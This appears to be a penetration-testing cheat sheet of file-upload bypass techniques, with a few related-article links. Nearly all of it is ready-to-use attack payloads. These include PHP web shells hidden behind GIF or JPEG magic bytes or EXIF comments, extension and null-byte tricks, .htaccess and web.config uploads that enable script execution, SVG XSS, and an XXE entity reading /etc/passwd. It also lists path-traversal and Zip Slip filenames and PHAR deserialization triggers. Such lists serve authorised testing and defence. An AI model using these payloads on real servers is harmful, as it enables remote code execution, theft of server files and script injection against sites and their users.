web-pentest
File Upload Bypass
Bypass file-upload restrictions to reach RCE/XSS — extension and MIME/magic-byte tricks, .htaccess/web.config abuse, SVG/HTML/XXE uploads, path traversal and parser/deserialization bugs.
Extension Tricks (8)
shell.php.jpg
Double extension — misconfigured servers execute the .php
shell.pHp
Case variation to dodge a lowercase blacklist
shell.phtml
Alternate PHP extension filters often miss
shell.php5
Legacy PHP extension mapping
shell.phar
PHP archive — executed as PHP
shell.php%00.jpg
Null-byte truncation (old PHP / CGI)
shell.php.
Trailing dot stripped by Windows, leaving .php
shell.asp;.jpg
IIS semicolon trick — treated as .asp
MIME & Magic Bytes (4)
Content-Type: image/jpeg
Spoof the MIME header while uploading a script
GIF89a;<?php system($_GET[0]);?>
GIF magic-byte prefix + PHP payload
exiftool -Comment='<?php system($_GET[0]);?>' image.jpg
Embed PHP in a real image's EXIF comment
prepend \xFF\xD8\xFF before <?php ... ?>
JPEG magic bytes to pass content sniffing
Server Config Upload (3)
.htaccess -> AddType application/x-httpd-php .jpg
Upload .htaccess so .jpg runs as PHP (Apache)
.htaccess -> php_value auto_prepend_file shell.gif
Prepend an uploaded "image" as PHP
web.config -> add ASP/ASPX handler
Upload web.config to enable script exec on IIS
SVG / HTML / XML (4)
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
Stored XSS via an uploaded SVG
<svg><script>alert(1)</script></svg>
SVG script execution
<!DOCTYPE svg [<!ENTITY x SYSTEM "file:///etc/passwd">]><svg>&x;</svg>
XXE via an uploaded SVG
shell.html containing <script>...</script>
HTML upload → stored XSS on the same origin
Path & Overwrite (3)
../../../var/www/html/shell.php
Path traversal in the filename to control where it lands
archive with ../../shell.php (Zip Slip)
Extraction path traversal via a crafted archive
filename=config.php
Overwrite a sensitive file by reusing its name
Parser & Deserialization (2)
phar://uploaded.phar/x
Trigger PHAR deserialization on a later file operation
malicious.gif (ImageMagick MSL / Ghostscript)
Image-parser RCE (ImageTragick-class bugs)
Related Articles
5
Web Hacking
JSON and YAML Unsafe Deserialization
Deep technical analysis of insecure deserialization across Java, PHP, Python, and Node.js …
Web Hacking
Supply Chain Attacks
Deep technical guide to software supply chain attacks — dependency confusion, malicious np…
Web Hacking
Cross-Site Scripting Mastery
Complete XSS guide covering all attack types, filter bypasses, CSP evasion, cookie stealin…
Web Hacking
File Upload to RCE
Complete file upload exploitation guide — MIME bypass, double extension tricks, polyglot J…
Web Hacking
Advanced SSRF
Complete SSRF exploitation guide — AWS IMDSv1/v2 credential theft, GCP/Azure metadata, bli…
